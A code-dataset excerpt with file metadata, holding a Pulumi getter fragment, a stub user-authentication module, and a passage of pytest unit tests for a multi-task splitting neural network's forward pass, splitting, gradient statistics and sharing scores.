return pulumi.get(self, "dataflow_flex_template_request")
@property
@pulumi.getter(name="dataflowLaunchTemplateRequest")
def dataflow_launch_template_request(self) -> 'outputs.GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse':
"""
Template information and additional parameters needed to launch a Dataflow job using the standard launch API.
"""
return pulumi.get(self, "dataflow_launch_template_request")
| 47.287815
| 427
| 0.676441
| 5,189
| 45,018
| 5.692812
| 0.068992
| 0.01564
| 0.025525
| 0.037305
| 0.829655
| 0.812119
| 0.798646
| 0.753182
| 0.739743
| 0.724306
| 0
| 0.00304
| 0.232662
| 45,018
| 951
| 428
| 47.337539
| 0.852102
| 0.391532
| 0
| 0.760286
| 1
| 0.014311
| 0.230176
| 0.120229
| 0
| 0
| 0
| 0
| 0
| 1
| 0.161002
| false
| 0.012522
| 0.012522
| 0
| 0.320215
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1a67eb1083fbcce160d6fb9b4f7083b0ef1d2e64
| 769
|
py
|
Python
|
users/users.py
|
TRUFA-rnaseq/trufa-users-ipa
|
1c0f050f05bdce9b6a2d480935dda5653b873ef5
|
[
"BSD-3-Clause"
] | null | null | null |
users/users.py
|
TRUFA-rnaseq/trufa-users-ipa
|
1c0f050f05bdce9b6a2d480935dda5653b873ef5
|
[
"BSD-3-Clause"
] | null | null | null |
users/users.py
|
TRUFA-rnaseq/trufa-users-ipa
|
1c0f050f05bdce9b6a2d480935dda5653b873ef5
|
[
"BSD-3-Clause"
] | null | null | null |
#-------------------------------------------------------------------------------
def checkUser( username, passwd ):
return False
#-------------------------------------------------------------------------------
def checkIfUserAvailable( username ):
return False
#-------------------------------------------------------------------------------
def getUserEmail( username ):
return None
#-------------------------------------------------------------------------------
def allowPasswordChange( username ):
return False
#-------------------------------------------------------------------------------
def changeUserPassword( username, oldpass, newpass ):
return False
#-------------------------------------------------------------------------------
| 34.954545
| 80
| 0.269181
| 28
| 769
| 7.392857
| 0.464286
| 0.21256
| 0.202899
| 0.21256
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083225
| 769
| 21
| 81
| 36.619048
| 0.293617
| 0.616385
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0.3
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 9
|
1a7eb665f1175d04280b4b3ece8a8e86e93d07f8
| 39,044
|
py
|
Python
|
tests/networks/splitting/test_multi_splitting_base.py
|
mtcrawshaw/meta-world
|
b511885af4405715c7b35f8295cef88021a926be
|
[
"MIT"
] | 4
|
2021-09-21T07:24:26.000Z
|
2022-03-25T00:28:33.000Z
|
tests/networks/splitting/test_multi_splitting_base.py
|
mtcrawshaw/meta
|
b511885af4405715c7b35f8295cef88021a926be
|
[
"MIT"
] | null | null | null |
tests/networks/splitting/test_multi_splitting_base.py
|
mtcrawshaw/meta
|
b511885af4405715c7b35f8295cef88021a926be
|
[
"MIT"
] | null | null | null |
"""
Unit tests for meta/networks/splitting/multi_splitting_base.py.
"""
import math
import random
from itertools import product
from typing import Dict, Any, List
import numpy as np
from scipy import stats
import torch
import torch.nn.functional as F
from gym.spaces import Box
from meta.networks.utils import init_base
from meta.networks.splitting import BaseMultiTaskSplittingNetwork
from meta.utils.estimate import alpha_to_threshold
from tests.helpers import DEFAULT_SETTINGS, get_obs_batch
from tests.networks.splitting import BASE_SETTINGS
from tests.networks.splitting.templates import (
TOL,
gradients_template,
backward_template,
grad_diffs_template,
grad_stats_template,
score_template,
)
def test_forward_shared() -> None:
"""
Test forward() when all regions of the splitting network are fully shared. The
function computed by the network should be f(x) = 3 * tanh(2 * tanh(x + 1) + 2) + 3.
"""
# Set up case.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
observation_subspace = Box(
low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],)
)
observation_subspace.seed(DEFAULT_SETTINGS["seed"])
hidden_size = dim
# Construct network.
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=hidden_size,
device=BASE_SETTINGS["device"],
)
# Set network weights.
state_dict = network.state_dict()
for i in range(BASE_SETTINGS["num_layers"]):
weight_name = "regions.%d.0.0.weight" % i
bias_name = "regions.%d.0.0.bias" % i
state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim))
state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim))
network.load_state_dict(state_dict)
# Construct batch of observations concatenated with one-hot task vectors.
obs, task_indices = get_obs_batch(
batch_size=BASE_SETTINGS["num_processes"],
obs_space=observation_subspace,
num_tasks=BASE_SETTINGS["num_tasks"],
)
# Get output of network.
output = network(obs, task_indices)
# Computed expected output of network.
expected_output = 3 * torch.tanh(2 * torch.tanh(obs + 1) + 2) + 3
# Test output of network.
assert torch.allclose(output, expected_output)
def test_forward_single() -> None:
"""
Test forward() when all regions of the splitting network are fully shared except
one. The function computed by the network should be f(x) = 3 * tanh(2 * tanh(x + 1)
+ 2) + 3 for tasks 0 and 1 and f(x) = 3 * tanh(-2 * tanh(x + 1) - 2) + 3 for tasks 2
and 3.
"""
# Set up case.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
observation_subspace = Box(
low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],)
)
observation_subspace.seed(DEFAULT_SETTINGS["seed"])
hidden_size = dim
# Construct network.
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=hidden_size,
device=BASE_SETTINGS["device"],
)
# Split the network at the second layer. Tasks 0 and 1 stay assigned to the original
# copy and tasks 2 and 3 are assigned to the new copy.
network.split(1, 0, [0, 1], [2, 3])
# Set network weights.
state_dict = network.state_dict()
for i in range(BASE_SETTINGS["num_layers"]):
weight_name = "regions.%d.0.0.weight" % i
bias_name = "regions.%d.0.0.bias" % i
state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim))
state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim))
weight_name = "regions.1.1.0.weight"
bias_name = "regions.1.1.0.bias"
state_dict[weight_name] = torch.Tensor(-2 * np.identity(dim))
state_dict[bias_name] = torch.Tensor(-2 * np.ones(dim))
network.load_state_dict(state_dict)
# Construct batch of observations concatenated with one-hot task vectors.
obs, task_indices = get_obs_batch(
batch_size=BASE_SETTINGS["num_processes"],
obs_space=observation_subspace,
num_tasks=BASE_SETTINGS["num_tasks"],
)
# Get output of network.
output = network(obs, task_indices)
# Computed expected output of network.
expected_output = torch.zeros(obs.shape)
for i, (ob, task) in enumerate(zip(obs, task_indices)):
if task in [0, 1]:
expected_output[i] = 3 * torch.tanh(2 * torch.tanh(ob + 1) + 2) + 3
elif task in [2, 3]:
expected_output[i] = 3 * torch.tanh(-2 * torch.tanh(ob + 1) - 2) + 3
else:
raise NotImplementedError
# Test output of network.
assert torch.allclose(output, expected_output)
def test_forward_multiple() -> None:
"""
Test forward() when none of the layers are fully shared. The function computed by
the network should be:
- f(x) = 3 * tanh(2 * tanh(x + 1) + 2) + 3 for task 0
- f(x) = -3 * tanh(-2 * tanh(x + 1) - 2) - 3 for task 1
- f(x) = -3 * tanh(1/2 * tanh(-x - 1) + 1/2) - 3 for task 2
- f(x) = 3 * tanh(-2 * tanh(-x - 1) - 2) + 3 for task 3
"""
# Set up case.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
observation_subspace = Box(
low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],)
)
observation_subspace.seed(DEFAULT_SETTINGS["seed"])
hidden_size = dim
# Construct network.
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=hidden_size,
device=BASE_SETTINGS["device"],
)
# Split the network at the second layer. Tasks 0 and 1 stay assigned to the original
# copy and tasks 2 and 3 are assigned to the new copy.
network.split(0, 0, [0, 1], [2, 3])
network.split(1, 0, [0, 2], [1, 3])
network.split(1, 0, [0], [2])
network.split(2, 0, [0, 3], [1, 2])
# Set network weights.
state_dict = network.state_dict()
for i in range(BASE_SETTINGS["num_layers"]):
for j in range(3):
weight_name = "regions.%d.%d.0.weight" % (i, j)
bias_name = "regions.%d.%d.0.bias" % (i, j)
if weight_name not in state_dict:
continue
if j == 0:
state_dict[weight_name] = torch.Tensor((i + 1) * np.identity(dim))
state_dict[bias_name] = torch.Tensor((i + 1) * np.ones(dim))
elif j == 1:
state_dict[weight_name] = torch.Tensor(-(i + 1) * np.identity(dim))
state_dict[bias_name] = torch.Tensor(-(i + 1) * np.ones(dim))
elif j == 2:
state_dict[weight_name] = torch.Tensor(1 / (i + 1) * np.identity(dim))
state_dict[bias_name] = torch.Tensor(1 / (i + 1) * np.ones(dim))
else:
raise NotImplementedError
network.load_state_dict(state_dict)
# Construct batch of observations concatenated with one-hot task vectors.
obs, task_indices = get_obs_batch(
batch_size=BASE_SETTINGS["num_processes"],
obs_space=observation_subspace,
num_tasks=BASE_SETTINGS["num_tasks"],
)
# Get output of network.
output = network(obs, task_indices)
# Computed expected output of network.
expected_output = torch.zeros(obs.shape)
for i, (ob, task) in enumerate(zip(obs, task_indices)):
if task == 0:
expected_output[i] = 3 * torch.tanh(2 * torch.tanh(ob + 1) + 2) + 3
elif task == 1:
expected_output[i] = -3 * torch.tanh(-2 * torch.tanh(ob + 1) - 2) - 3
elif task == 2:
expected_output[i] = (
-3 * torch.tanh(1 / 2 * torch.tanh(-ob - 1) + 1 / 2) - 3
)
elif task == 3:
expected_output[i] = 3 * torch.tanh(-2 * torch.tanh(-ob - 1) - 2) + 3
else:
raise NotImplementedError
# Test output of network.
assert torch.allclose(output, expected_output)
def test_split_single() -> None:
"""
Test that split() correctly sets new parameters when we perform a single split.
"""
# Set up case.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
observation_subspace = Box(
low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],)
)
observation_subspace.seed(DEFAULT_SETTINGS["seed"])
hidden_size = dim
# Construct network.
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=hidden_size,
device=BASE_SETTINGS["device"],
)
# Split the network at the last layer, so that tasks 0 and 2 stay assigned to the
# original copy and tasks 1 and 3 are assigned to the new copy.
network.split(2, 0, [0, 2], [1, 3])
# Check the parameters of the network.
param_names = [name for name, param in network.named_parameters()]
# Construct expected parameters of network.
region_copies = {i: [0] for i in range(BASE_SETTINGS["num_layers"])}
region_copies[2].append(1)
expected_params = []
for region, copies in region_copies.items():
for copy in copies:
expected_params.append("regions.%d.%d.0.weight" % (region, copy))
expected_params.append("regions.%d.%d.0.bias" % (region, copy))
# Test actual parameter names.
assert set(param_names) == set(expected_params)
def test_split_multiple() -> None:
"""
Test that split() correctly sets new parameters when we perform multiple splits.
"""
# Set up case.
dim = BASE_SETTINGS["obs_dim"] + BASE_SETTINGS["num_tasks"]
observation_subspace = Box(
low=-np.inf, high=np.inf, shape=(BASE_SETTINGS["obs_dim"],)
)
observation_subspace.seed(DEFAULT_SETTINGS["seed"])
hidden_size = dim
# Construct network.
network = BaseMultiTaskSplittingNetwork(
input_size=dim,
output_size=dim,
num_tasks=BASE_SETTINGS["num_tasks"],
num_layers=BASE_SETTINGS["num_layers"],
hidden_size=hidden_size,
device=BASE_SETTINGS["device"],
)
# Split the network at the first layer once and the last layer twice.
network.split(0, 0, [0, 1], [2, 3])
network.split(2, 0, [0, 2], [1, 3])
network.split(2, 1, [1], [3])
# Check the parameters of the network.
param_names = [name for name, param in network.named_parameters()]
# Construct expected parameters of network.
region_copies = {i: [0] for i in range(BASE_SETTINGS["num_layers"])}
region_copies[0].extend([1])
region_copies[2].extend([1, 2])
expected_params = []
for region, copies in region_copies.items():
for copy in copies:
expected_params.append("regions.%d.%d.0.weight" % (region, copy))
expected_params.append("regions.%d.%d.0.bias" % (region, copy))
# Test actual parameter names.
assert set(param_names) == set(expected_params)
def test_backward_shared() -> None:
"""
Test that the backward() function correctly computes gradients in the case of a
fully shared network.
"""
splits_args = []
backward_template(BASE_SETTINGS, splits_args)
def test_backward_single() -> None:
"""
Test that the backward() function correctly computes gradients in the case of a
single split.
"""
splits_args = [
{"region": 1, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
backward_template(BASE_SETTINGS, splits_args)
def test_backward_multiple() -> None:
"""
Test that the backward() function correctly computes gradients in the case of
multiple splits.
"""
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 0, "group1": [0], "group2": [2]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
backward_template(BASE_SETTINGS, splits_args)
def test_task_grads_shared() -> None:
"""
Test that `get_task_grads()` correctly computes task-specific gradients at each
region of the network in the case of a fully shared network.
"""
splits_args = []
gradients_template(BASE_SETTINGS, splits_args)
def test_task_grads_single() -> None:
"""
Test that `get_task_grads()` correctly computes task-specific gradients at each
region of the network in the case of a single split network.
"""
splits_args = [
{"region": 1, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
gradients_template(BASE_SETTINGS, splits_args)
def test_task_grads_multiple() -> None:
"""
Test that `get_task_grads()` correctly computes task-specific gradients at each
region of the network in the case of a multiple split network.
"""
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 0, "group1": [0], "group2": [2]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
gradients_template(BASE_SETTINGS, splits_args)
def test_task_grad_diffs_zero_euclidean() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance
between task-specific gradients at each region when these gradients are hard-coded
to zero.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
grad_diffs_template(settings, "zero")
def test_task_grad_diffs_rand_identical_euclidean() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance
between task-specific gradients at each region when these gradients are random, but
identical across tasks.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
grad_diffs_template(settings, "rand_identical")
def test_task_grad_diffs_rand_euclidean() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise Euclidean distance
between task-specific gradients at each region when these gradients are random.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
grad_diffs_template(settings, "rand")
def test_task_grad_diffs_zero_cosine() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance
between task-specific gradients at each region when these gradients are hard-coded
to zero.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
grad_diffs_template(settings, "zero")
def test_task_grad_diffs_rand_identical_cosine() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance
between task-specific gradients at each region when these gradients are random, but
identical across tasks.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
grad_diffs_template(settings, "rand_identical")
def test_task_grad_diffs_rand_cosine() -> None:
"""
Test that `get_task_grad_diffs()` correctly computes the pairwise cosine distance
between task-specific gradients at each region when these gradients are random.
"""
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
grad_diffs_template(settings, "rand")
def test_task_grad_stats_zero_euclidean_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are always zero, with a fully shared network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_zero_euclidean_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are random, while some tasks randomly have gradients set to
zero, with a fully shared network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand_zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_euclidean_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when these gradients are random, with a fully shared network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_zero_euclidean_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are always zero, with a split network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_zero_euclidean_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are random, while some tasks randomly have gradients set to
zero, with a split network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand_zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_euclidean_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when these gradients are random, with a split network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "sqeuclidean"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_zero_cosine_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are always zero, with a fully shared network using cosine
distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_zero_cosine_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are random, while some tasks randomly have gradients set to
zero, with a fully shared network using cosine distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand_zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_cosine_shared() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when these gradients are random, with a fully shared network using cosine
distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = []
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_zero_cosine_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are always zero, with a split network using cosine
distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_zero_cosine_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when the gradients are random, while some tasks randomly have gradients set to
zero, with a split network using cosine distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand_zero",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_task_grad_stats_rand_cosine_split() -> None:
"""
Test that `update_grad_stats()` correctly computes gradient statistics over multiple
steps when these gradients are random, with a split network using cosine distance.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
settings["metric"] = "cosine"
settings["hidden_size"] = settings["obs_dim"] + settings["num_tasks"] + 2
ema_threshold = alpha_to_threshold(settings["ema_alpha"])
# Construct series of splits.
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 1, "copy": 1, "group1": [1], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
# Construct a sequence of task gradients.
settings["num_steps"] = max(settings["split_step_threshold"], ema_threshold) + 20
dim = settings["obs_dim"] + settings["num_tasks"]
region_sizes = get_region_sizes(settings)
task_grads = make_task_gradients(
"rand",
settings["num_steps"],
settings["num_tasks"],
settings["num_layers"],
region_sizes,
)
# Run test.
grad_stats_template(settings, task_grads, splits_args)
def test_sharing_score_shared() -> None:
"""
Test that the sharing score is correctly computed for a fully shared network.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
dim = settings["obs_dim"] + settings["num_tasks"]
settings["input_size"] = dim
settings["output_size"] = dim
settings["hidden_size"] = dim
splits_args = []
expected_score = 1.0
# Call template.
score_template(settings, splits_args, expected_score)
def test_sharing_score_separate() -> None:
"""
Test that the sharing score is correctly computed for a fully separated network,
i.e. a network with no sharing.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
dim = settings["obs_dim"] + settings["num_tasks"]
settings["input_size"] = dim
settings["output_size"] = dim
settings["hidden_size"] = dim
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 0, "copy": 0, "group1": [0], "group2": [1]},
{"region": 0, "copy": 1, "group1": [2], "group2": [3]},
{"region": 1, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0], "group2": [1]},
{"region": 1, "copy": 1, "group1": [2], "group2": [3]},
{"region": 2, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 2, "copy": 0, "group1": [0], "group2": [1]},
{"region": 2, "copy": 1, "group1": [2], "group2": [3]},
]
expected_score = 0.0
# Call template.
score_template(settings, splits_args, expected_score)
def test_sharing_score_split_1() -> None:
"""
Test that the sharing score is correctly computed for a network with half of each
region shared.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
dim = settings["obs_dim"] + settings["num_tasks"]
settings["input_size"] = dim
settings["output_size"] = dim
settings["hidden_size"] = dim
splits_args = [
{"region": 0, "copy": 0, "group1": [0, 1], "group2": [2, 3]},
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 2, "copy": 0, "group1": [0, 3], "group2": [1, 2]},
]
expected_score = 2.0 / 3.0
# Call template.
score_template(settings, splits_args, expected_score)
def test_sharing_score_split_2() -> None:
"""
Test that the sharing score is correctly computed for a network with half of each
region shared.
"""
# Set up case.
settings = dict(BASE_SETTINGS)
dim = settings["obs_dim"] + settings["num_tasks"]
settings["input_size"] = settings["obs_dim"]
settings["output_size"] = dim
settings["hidden_size"] = dim
splits_args = [
{"region": 1, "copy": 0, "group1": [0, 2], "group2": [1, 3]},
{"region": 2, "copy": 0, "group1": [0], "group2": [1, 2, 3]},
